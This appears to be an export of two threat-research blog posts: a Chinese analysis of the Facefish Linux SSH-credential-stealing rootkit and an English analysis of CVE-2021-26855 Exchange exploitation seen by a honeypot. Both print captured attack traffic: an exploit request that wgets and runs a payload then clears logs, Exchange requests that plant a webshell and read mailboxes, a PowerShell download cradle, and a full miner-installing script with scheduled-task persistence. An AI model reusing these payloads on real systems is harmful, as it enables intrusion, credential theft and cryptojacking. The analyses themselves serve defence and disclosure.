| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 背景介绍\n\n2021年2月，我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本，简单分析后发现这是一个新botnet家族的样本。它针对Linux x64系统，配置灵活，并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构（在中国区有较好网络通信观察视野）验证后发现对应的C2通信命中为0，所以未再深入分析。\n\n2021年4月26号，Juniper发布了关于此样本的[**分析报告**](https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor)，我们注意到报告中忽略了一些重要的技术细节，所以决定将漏掉的细节分享出来。\n\n该家族的入口ELF样本```MD5=38fb322cc6d09a6ab85784ede56bc5a7```是一个Dropper，它会释放出一个Rootkit。因为Juniper并未为样本定义家族名，鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值，犹如川剧中的变脸，并且该家族使用了Blowfish加密算法，我们将它命名为```Facefish```。\n\n\n# Facefish概览\nFacefish由Dropper和Rootkit 2部分组成，主要功能由Rootkit模块决定。Rootkit工作在Ring3层，利用```LD_PRELOAD```特性加载，通过Hook ssh/sshd程序的相关函数以窃取用户的登录凭证，同时它还支持一些后门功能。因此可以将Facefish定性为，一款针对Linux平台的窃密后门。\n\nFacefish的主要功能有\n\n* 上报设备信息\n* 窃取用户凭证\n* 反弹Shell\n* 执行任意命令\n\n基本流程如下图所示：\n\n\n# 传播方式\n\n在野利用的漏洞如下所示\n\n```\nPOST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1\nHost: xxx.xx.xx.xx:2031\nUser-Agent: python-requests/2.25.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Length: 0\n\n```\n\n将与Facefish相关部分转码后，得到以下执行命令序列，可以看出主要功能为下载执行第一阶段的payload，然后清理痕迹。\n\n```\ncd /usr/bin; \n/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; \nchmod 0777 /usr/bin/sshins; \nls -al /usr/bin/sshins; ./sshins; \ncat /etc/ld.so.preload;\nrm -rf /usr/bin/sshins; \nsed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; \nhistory -c\n```\n\n\n\n# 逆向分析\n\n简单来说，Facefish的感染程序可以分成3个阶段，\n\nStage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper\n\nStage 1: 释放阶段，Dropper释放出Rootkit\n\nStage 2:业务阶段，Rootkit 收集回传敏感信息，等待执行C2下发的指令\n\n下文将从Stage 1到Stage 2着手，分析Facefish的各个阶段的技术细节。\n\n\n\n\n\n## Stage 1:Dropper分析\n\nDropper的基体信息如下所示，主要功能为检测运行环境，解密存有C2信息的Config， 配置Rootkit，最后释放并启动Rootkit。\n\n> MD5:38fb322cc6d09a6ab85784ede56bc5a7\n>\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped\n>\n> Packer: UPX\n\n另处值得一提的是，Drooper在二进制层面，采用了一些```tricks```来对抗杀软的查杀。\n\n## Trick 1:upx with overlay\n\n如下图所示，将加密的Config数据作为overlay，填充到upx加壳后的样本尾部。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_upxoverlay.png\" width=\"860px\" />\n\n这种做法的目的有2个:\n\n1. 对抗upx脱壳\n2. Config数据与样本解耦，可以通过工具更新Config，无需再编译源码，方便在黑市流通\n\n\n\n\n\n \n\n## Trick 2:elf without sections\n\n如下图所示，脱壳后样本中的section信息被抹除了\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_section.png\" width=\"860px\" />\n\n这种做法的目的有2个:\n\n1. 某些依赖section的信息进行分析的工具无法正常工作，抹除section在一定程度上加大了分析难度\n2. 某些杀毒引擎依赖section信息生成特征的的检测区，抹除section在一定程度上实现了免杀\n\n## Dropper主要功能\n\nDropper运行时会输出下图中的信息：\n\n\n\n\n根据这个信息，我们将Dropper的功能分成了以下4个阶段\n\n1. 检测运行环境\n2. 解密Config\n3. 配置Rootkit\n4. 释放并启动Rootkit\n\n### 0x1:检测运行环境\n\n首先读取```/bin/cat```的前16个字节，通过判断第5个字节(EI_CLASS)的值来判断当前系统的位数,目前Facefish只支持x64系统。然后检查自身否在root权限下运行，最后尝试从自身文件尾部 读入Config信息。其中任一环节失败，Facefish都将放弃感染，直接退出。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_env.png\" width=\"860px\" />\n\n\n### 0x2:解密Config\n\n原始的Config信息长度为128字节，采用Blowfish算法的CBC模式加密，以overlay的形式储存在文件尾部。其中Blowfish的解密key&iv如下：\n\n- key:buil\n- iv:00 00 00 00 00 00 00 00\n\n值得一提的是在使用Blowfish时，其作者在编码过程中，玩了一个小trick来“恶心”安全研究人员，以下图代码片段为例：\n\n\n\n\n第一眼看上去，会让人以为Blowfish的密钥为\"build\"。注意第3个参数为4，即密钥的长度为4字节，所以真实的密钥为\"buil\"。\n\n以原始的Config为例，\n\n```\nBD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59\n5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56\nE4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2\n00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69\nEB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1\nA0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF\n71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1\nBA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7\n```\n\n解密后的Config如下所示，可以看到其中的c2:port信息（176.111.174.26:443）。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_dec.png\" width=\"860px\" />\n\n\n\n各字段具体的含义如下:\n\n| offset | length | meaning |\n| --------------------- | ------ | ------------ |\n| 0x00 | 4 | magic |\n| 0x0c | 4 | interval |\n| 0x10 | 4 | offset of c2 |\n| 0x14 | 4 | port |\n| 0x20(pointed by 0x10) | | c2 |\n\n解密完成后，通过以下代码片段对Config进行校验，校验方法比较简单，即比较magic值是不是```0xCAFEBABE```，当校验通过后，进入配置Rootkit阶段。\n\n\n\n\n\n\n### 0x3:配置Rootkit\n\n\n\n首先以当前时间为种子随机生成16个字节做为新的Blowfish的加密key，将上阶段的解密得到的Config使用新的key重新加密。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_newkey.png\" width=\"860px\" />\n\n然后利用标志```0xCAFEBABEDEADBEEF```定位Dropper中的Rootkit的特定位置，写入新的加密key以及重新加密后的Config信息。\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_confroot.png\" width=\"860px\" />\n\n文件的变化如下所示：\n写入之前：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_emconf.png\" width=\"860px\" />\n\n写入之后：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_newconf.png\" width=\"860px\" />\n\n在这个过程中因为加密key是随机生成的，所以不同时间释放的Rootkit的MD5值是不一样的，我们推测，这种设计是用来对抗杀软黑白HASH检测。\n\n\n\n\n\n另外值得一提的是，Facefish专门对FreeBSD操作系统做了支持。实现方法比较简单，如下图所示，即通过判断cat二进制中的EI_OSABI是否等于9，如果是则把Rootkit中的EI_OSABI值修改成9。\n\n\n\n### 0x4:释放并启动Rootkit\n\n\n\n将上阶段配置好的的Rootkit写到 ```/lib64/libs.so```文件中，同时向```/etc/ld.so.preload```写入以下内容实现Rootkit的预加载。\n\n```\n /lib64/libs.so\n```\n\n通过以下命令重起ssh服务，让Rootkit有机会加载到sshd程序中\n\n```\n/etc/init.d/sshd restart\n/etc/rc.d/sshd restart\nservice ssh restart\nsystemctl restart ssh\nsystemctl restart sshd.service\n```\n\n实际效果如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/03/fish_mod.png\" width=\"860px\" />\n\n至此Dropper的任务完成，Rootkit开始工作。\n\n## Stage 2:Rootkit分析\n\nFacefish的Rootkit模块```libs.so```工作在Ring3层，通过LD_PRELOAD特性加载，它基本信息如下所示：\n\n> MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2\n>\n> ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped\n\n在IDA中能看到它导出了3个函数，根据preload机制，当rootkit被加载时，它们会替代libc的同名函数，实现hook。\n\n```init_proc函数```，它的主要功能是hook ssh/sshd进程中的相关函数以窃取登录凭证。\n```bind函数```，它的主要功能是上报设备信息，等待执行C2下发的指令。\n```start函数```，它的主要功能是为网络通信中的密钥交换过程计算密钥。\n## .init_proc 函数分析\n.init_proc函数首先会解密Config，取得C2,PORT等相关信息，然后判断被注入的进程是否为SSH/SSHD，如果是则对处理凭证的相关函数进行HOOK，最终当ssh主动对处连接，或sshd被动收到外部连接时，Facefish在Hook函数的帮助下，窃取登录凭着并发送给C2。\n\n### 0x1 寻找SSH\n如果当前系统为FreeBSD则，通过dlopen函数获取link_map结构的地址，利用link_map可以遍历当前进程所加载的模块，进而找到SSH相关模块。\n\n\n\n如果当前系统不是FreeBSD，则通过`.got.plt` 表的第2项，得到link_map的地址。\n\n\n\n得到SSH相关模块后，接着判断模块是否为ssh/sshd，方法比较简单，即验证模块中是否有以下字串。通过这一点，可知Facefish事实上只攻击OpenSSH实现的client/server。\n\n```\n1:usage: ssh\n2:OpenSSH_\n```\n\n### 0x2 HOOK函数\n\n首先，Facefish会查找hook的函数地址\n\n其中要hook的ssh函数如所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_sshproc.png\" width=\"860px\" />\n\n要hook的sshd函数如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_sshdproc.png\" width=\"860px\" />\n\n如果没有找到，则将函数名加上前缀```Fssh_```再找一次。如果还是没有找到，则通过函数中的字串间接定位到函数。最后通过以下代码片断实现Hook。\n\n\n\n实际中HOOK前后的对比如下所示：\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_comp.png\" width=\"860px\" />\n\n\n\n\n### 0x3 窃取登录凭证\n\nFacefish在Hook后的函数帮助下，窃取登录凭证，并上报给C2。\n\n\n\n上报的数据格式为```%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s```，其中前32节节为加密的key，后面跟着账号，远程主机，密码等信息。\n\n实际中上报的信息如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/05/fish_pass.png\" width=\"860px\" />\n\n\n## bind 函数分析\n一旦用户通过ssh登录，将会触发bind函数接着执行一系列后门行为，具体分析如下：\n\n如果后门初始化正常，首先会fork后门子进程并进入连接C2的指令循环，父进程则通过syscall(0x68/0x31)调用真正的bind函数。\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170340084-1.png"}],["markdown",{"markdown":"\n### 0x1: 主机行为\n\n判断sshd父进程是否存在，如果父进程退出，则后门进程也退出。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170431037-1.png"}],["markdown",{"markdown":"如果父进程存在开始收集主机信息，包括：CPU型号、Arch，内存大小、硬盘大小、ssh服务相关配置文件和凭证数据。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508165505995-1.png"}],["markdown",{"markdown":"CPU型号"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170040197-1.png"}],["markdown",{"markdown":"内存"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170138167-2.png"}],["markdown",{"markdown":"硬盘"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170600524-1.png"}],["markdown",{"markdown":"网络设备"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173142888-1.png"}],["markdown",{"markdown":"SSH服务相关"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508170834920-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173314536-1.png"}],["markdown",{"markdown":"### 0x2: C2指令介绍\n\nFacefish使用的通信协议及加密算法比较复杂，其中0x2XX开头的指令用来交换公钥，我们在下一小节进行详细分析。0x3XX开头的指令是真正的C2功能指令。这里先对C2的功能指令做简单说明。\n\n* 发 0x305\n \n 是否发送上线信息0x305，如果没有则收集信息并上报。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508173614278-1.png"}],["markdown",{"markdown":"\n* 发0x300\n\n 功能上报窃取的凭证信息\n\n \n\n* 发0x301\n\n 收集uname信息，组包并发送0x301，等待进一步指令。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508174238407-1.png"}],["markdown",{"markdown":"* 收0x302\n\n 接受指令0x302，反向shell。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508174458428-1.png"}],["markdown",{"markdown":"* 收0x310\n\n 接受指令0x310，执行任意的系统命令"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210508175705147-1.png"}],["markdown",{"markdown":"* 发0x311\n\n 发指令0x311，返回系统命令的执行结果\n \n \n \n* 收0x312\n\n 接受指令0x312，重新收集并上报主机信息。\n\n\n### 0x3: 通信协议分析\n\n Facefish的rootkit使用了一个自定义的加密协议进行C2通信，该协议使用DH [(Diffie–Hellman)](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) 算法进行密钥协商，使用BlowFish对称加密算法进行数据加密。具体运行时，单次C2会话可以分为两个阶段，第一阶段对应密钥协商，第二阶段便是使用协商好的密钥进行C2加密通信。Facefish的每次C2会话只收取并解密一条C2指令，然后便会结束。不难看出，因为使用了DH和Blowfish算法，仅从流量数据入手是无法获取其C2通信内容的，而且这种一次一密的通信也不会留下用于精准识别的流量特征。\n\n 一般来说使用DH协议框架通信最简便的方法是使用OpenSSL库，而Facefish的作者自己编码(或者使用了某些开源项目)实现了整个通信过程，因为没有引入第三方库所以代码体积非常精减。\n\n* DH通信原理\n\n 为了更好的理解Facefish的密钥交换代码，我们需要先简单了解一下DH通信原理。这里不讨论背后的数学原理，而是用一个简单的例子直接套公式描述通信过程。\n\n step 1. 甲生成一个随机数 a=4，选择一个素数 p=23，和一个底数 g=5，并计算出 公钥A:`A= g^a%p = 5^4%23 = 4`，然后将p，g，A同时发送给乙。\n\n step 2. 乙收到上述信息后也生成一个随机数 b=3，使用同样的公式算出公钥B:`B = g^b%p = 5^3%23 = 10`，然后将B发送给甲。同时乙计算出双方共享的机密值用于生成后续的Blowfish密钥: `s = A^b%p = (g^a)^b%p = 18`。\n\n step 3. 甲收到B后也可以计算出共享机密值：`s = B^a%p = (g^b)^a%p = 18`\n\n step 4. 甲乙双方基于共享机密s生成blowfish密钥，进行加密C2通信。\n\n 实质上通过简单推导可以看出甲和乙计算s的公式是同一个 ：\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/formlua-2.PNG"}],["markdown",{"markdown":" 在整个算法中有一个关键的数学函数求幂取模 power(x, y) mod z，当x，y都很大的时候直接求解比较困难，所以就用到了[快速幂取模算法](https://oi-wiki.org/math/quick-pow/)。前文提到的`start`函数正是快速幂取模 binpow() 中的关键代码，"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510123409286-1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510123553608-1.png"}],["markdown",{"markdown":"* 协议分析\n\n \n\n 发包和收包使用相同的数据结构。\n\n ```c\n struct package{\n struct header{\n WORD payload_len; //payload长度\n WORD cmd; \t\t//指令编码\n DWORD payload_crc; // payload crc校验值\n } ;\n struct header hd;\n unsigned char payload[payload_len]; // 数据\n }\n ```\n \n 以构造0x200指令数据包为例可以定义数据包如下：\n \n ```c\n struct package pkg = {\n \t.hd.payload_len = 0;\n \t.hd.cmd = 0x200;\n \t.hd.payload_crc = 0;\n \t.payload = \"\";\n }\n \n ```\n \n \n \n 对照DH通信原理和流量数据我们分析通信协议：\n "}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510104153887-1.png"}],["markdown",{"markdown":" 1. bot首先发送指令0x200，payload数据为空。\n \n 2. C2回复了指令0x201，payload长度为24个字节，按小端转换成3个 64位的数值，分别对应step1中甲发送的3个关键数据，p=0x294414086a9df32a，g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758。\n \n 3. 对应step2，bot在本地生成了一个随机数b，然后根据收到的p，g 生成B=0x0e27ddd4b848924c，通过指令0x202发送给C2。至此完成了共享机密的协商。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510115024505-1.png"}],["markdown",{"markdown":" 4. 对应step3，bot和C2通过公钥A和公钥B生成Blowfish密钥s和iv。其中iv是通过p和g异或得到的。"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/DH_blowfish_encrypt_s.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/05/DH_blowfish_encrypt-1.png","caption":""}],["markdown",{"markdown":" 5. 有了iv 和 s 我们可以对通信数据进行加解密。真正的通信数据采用BlowFish算法加解密，和前文提到的配置文件加密的方法是一致的。bot向C2发送0x305指令，长度为0x1b0，内容是BlowFish加密后的上线包数据。\n \n 解密后的上线包数据如下："}],["image",{"src":"__GHOST_URL__/content/images/2021/05/image-20210510190724649-1.png"}],["markdown",{"markdown":"\n\n# IOC\nSample MD5\n```\n38fb322cc6d09a6ab85784ede56bc5a7 sshins\nd6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so\n```\n\nC2\n```\n176.111.174.26:443\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[10,14],[10,15],[10,16],[10,17],[10,18],[10,19],[10,20],[10,21],[10,22],[10,23],[10,24],[10,25],[10,26],[10,27],[10,28],[10,29],[10,30],[10,31],[10,32],[10,33],[10,34],[10,35],[10,36],[10,37],[10,38],[10,39],[1,"p",[]]],"ghostVersion":"3.0"} | 6059b334d0d9b7000712cb67 |
post | null | 2021-03-25T07:14:15.000Z | 63873b9a8b1c1e0007f52fb3 | microsoft-exchange-vulnerability-cve-2021-26855-scan-analysis-3 | 0 | 2022-02-09T07:06:01.000Z | public | published | null | 2021-03-25T13:00:00.000Z | Microsoft Exchange Vulnerability (CVE-2021-26855) Scan Analysis | <!--kg-card-begin: markdown--><h3 id="background">Background</h3>
<p>On March 2, 2021, Microsoft disclosed a remote code execution vulnerability in Microsoft Exchange server<a href="https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/">[1]</a>。</p>
<p>We customized our Anglerfish honeypot to simulate and deploy Microsoft Exchange honeypot plug-in on March 3, and soon we started to see a large amount of related data, so far, we have already seen attacks attempting to implant Webshell, obtaiin mailbox information, and conducting XMRig based mining activities, we named it Tripleone.</p>
<p>On March 6, 2021, ProjectDiscovery and Microsoft CSS-Exchange project disclosed the vulnerability detection scripts <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml">[2]</a><a href="https://github.com/microsoft/CSS-Exchange/blob/main/Security/src/http-vuln-cve2021-26855.nse">[3]</a>。</p>
<p>The remote code execution vulnerability exploitation for Microsoft Exchange servers are complex, generally speaking, it takes some time from PoC publication to real exploitation. Due to the possible impact of the vulnerability, this time the attackers move fast.</p>
<h3 id="cve202126855webshellimplantation">CVE-2021-26855 Webshell implantation</h3>
<pre><code>POST /ecp/j2r3.js HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json; charset=utf-8
Cookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.
msExchLogonMailbox: S-1-5-20
Content-Length: 381
{"properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test1337.aspx"}}, "identity": {"DisplayName": "OAB (Default Web Site)", "__type": "Identity:ECP", "RawIdentity": "7280d03f-194a-4bf3-98a7-076e7728321d"}}
</code></pre>
<h3 id="cve202126855obtainingmailboxinformation">CVE-2021-26855 Obtaining mailbox information</h3>
<pre><code>POST //ecp/ssrf.js HTTP/1.1
Host: {target}
Connection: close
Accept-Encoding: gzip
Accept: */*
User-Agent: Hello-World
Content-Type: text/xml
Cookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;
Content-Length: 756
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>[email protected]</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
</code></pre>
<h3 id="cve202126855miningattack">CVE-2021-26855 Mining attack</h3>
<pre><code>POST /owa/auth/test1337.aspx HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Content-Length: 211
Content-Type: application/x-www-form-urlencoded
code=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B
</code></pre>
<p>The attacker used <code>http://178.62.226.184/run.ps1</code> to implant XMRig mining program, here is the detail</p>
<pre><code>$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue
if($ProcessActive -eq $null)
{
new-item c:\temp\111 -itemtype directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://178.62.226.184/config.json","C:\temp\111\config.json")
$WebClient.DownloadFile("http://178.62.226.184/javacpl.exe","C:\temp\111\javacpl.exe")
$WebClient.DownloadFile("http://178.62.226.184/WinRing0x64.sys","C:\temp\111\WinRing0x64.sys")
Start-Process -Filepath "C:\temp\111\javacpl.exe"
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "App2" -Description "Check"
}
else
{
Write-host "run"
}
</code></pre>
<h3 id="anglerfishhoneypotdata">Anglerfish Honeypot Data</h3>
<p>From March 6, 2021, our Anglerfish honeypot system started to see Microsoft Exchange vulnerability (CVE-2021-26855) scans, as of a few days ago, the geographical distribution of the source IP address of the scan is as follows.<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png" class="kg-image"/></a></p>
<p>Most scans target port 443 (77.3%), followed by port 80 (11.3%), as follows.<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_ports.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_ports.png" class="kg-image"/></a></p>
<p>The scan source IP ASNs (Autonomous System Numbers) are mainly from Linode, LLC, DiGiTALOCEAN-ASN and LeaseWeb Netherlands B.V., accounting for more than 50%, and the overall trend of the scan is as follows.<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png" class="kg-image"/></a></p>
<p>The scanned sources are from various countries around the world, with the United States accounting for the largest share, as shown below:<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png" class="kg-image"/></a></p>
<p>We can see from our data that the Top 5 scanner IPs account for 50% of all scanning behavior, with 159.89.95.163 leading the pack of 24%.<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png" class="kg-image"/></a></p>
<p>It appears that the attacker had been able to successfully exploit the vulnerability to implant Webshell, as shown in the following figure.<br>
<a href="__GHOST_URL__/content/images/2021/03/webshell_details.png"><img src="__GHOST_URL__/content/images/2021/03/webshell_details.png" class="kg-image"/></a></p>
<p>The attacker further implemented malicious attack operations through Webshell, such as implanting XMRig mining program, as shown in the following figure.<br>
<a href="__GHOST_URL__/content/images/2021/03/sample_details.png"><img src="__GHOST_URL__/content/images/2021/03/sample_details.png" class="kg-image"/></a></p>
<h3 id="partofthescansourceiprdnssldinformation">Part of the scan source IP rDNS SLD information</h3>
<p>Here is a briefly analyzing of the rDNS information corresponding to the scan source IPs.<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_sld.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_sld.png" class="kg-image"/></a></p>
<h3 id="webshellanalysis">Webshell Analysis</h3>
<p>We monitored a large number of Webshell path probing requests, we believe most of which were scans from security vendors and research organizations.<br>
Known Webshell paths are shown below.</p>
<pre><code>GET /aspnet_client/system_web/log.aspx 1682
GET /aspnet_client/OutlookEN.aspx 1660
GET /aspnet_client/HttpProxy.aspx 1643
GET /aspnet_client/aspnet_client.aspx 1613
GET /aspnet_client/discover.aspx 1583
GET /aspnet_client/supp0rt.aspx 1490
GET /owa/auth/OutlookEN.aspx 1464
GET /aspnet_client/aspnet_iisstart.aspx 1463
GET /owa/auth/Current/scripts/premium/fexppw.aspx 1442
GET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx 1441
GET /aspnet_client/Server.aspx 1433
GET /owa/auth/8Lw7tAhF9i1pJnRo.aspx 1428
GET /owa/auth/logg.aspx 1416
GET /aspnet_client/xx.aspx 1412
GET /owa/auth/a.aspx 1403
GET /owa/auth/Current/themes/errorFS.aspx 1393
GET /owa/auth/errorPage.aspx 1373
GET /owa/auth/getpp.aspx 1367
GET /aspnet_client/aspnet_pages.aspx 1364
GET /owa/auth/default.aspx 1334
GET /owa/auth/fatal-erro.aspx 1326
GET /owa/auth/errorPages.aspx 1322
GET /owa/auth/log.aspx 1311
GET /owa/auth/shel90.aspx 1306
GET /owa/auth/Err0r.aspx 1303
GET /owa/auth/logout.aspx 1302
GET /aspnet_client/log3.aspx 1293
GET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx 1285
GET /owa/auth/RedirSuiteServerProxy.aspx 1279
GET /aspnet_client/eror.aspx 1266
GET /aspnet_client/0QWYSEXe.aspx 1263
GET /owa/auth/current/one1.aspx 1260
GET /aspnet_client/session.aspx 1242
GET /aspnet_client/iispage.aspx 1213
GET /aspnet_client/system_web/logx2.aspx 1212
GET /owa/auth/Current/themes/resources/owafont_vo.aspx 1207
GET /aspnet_client/log.aspx 1207
GET /aspnet_client/WlUtyY.aspx 1168
GET /aspnet_client/aspnet_www.aspx 1167
GET /owa/auth/15.0.847/themes/resources/hmask.aspx 1164
GET /owa/auth/Current/app222.aspx 1155
GET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx 1147
GET /owa/auth/ErrorAA.aspx 1089
GET /owa/auth/one.aspx 1079
GET /aspnet_client/errorcheck.aspx 1074
GET /owa/auth/one1.aspx 1072
GET /aspnet_client/system_web/logfe.aspx 1064
GET /owa/auth/zntwv.aspx 1031
GET /owa/auth/Current/themes/resources/owafont_vn.aspx 1019
GET /owa/auth/shel.aspx 1016
GET /owa/auth/shel2.aspx 1011
GET /owa/auth/bob.aspx 1008
GET /owa/auth/OutlookZH.aspx 1008
GET /owa/auth/Current/themes/resources/daxlz.aspx 1001
GET /owa/auth/authhead.aspx 1000
GET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx 993
GET /aspnet_client/default1.aspx 984
GET /aspnet_client/system_web/logon.aspx 978
GET /aspnet_client/s.aspx 930
GET /aspnet_client/RedirSuiteServerProxy.aspx 927
GET /aspnet_client/8aUco9ZK.aspx 920
GET /aspnet_client/F48zhi6U.aspx 917
GET /aspnet_client/E3MsTjP8.aspx 915
GET /aspnet_client/Fc1b3WDP.aspx 915
GET /aspnet_client/2XJHwN19.aspx 907
GET /aspnet_client/0q1iS7mn.aspx 905
GET /aspnet_client/shell.aspx 901
GET /aspnet_client/McYhCzdb.aspx 898
GET /aspnet_client/sol.aspx 893
GET /aspnet_client/aspnettest.aspx 889
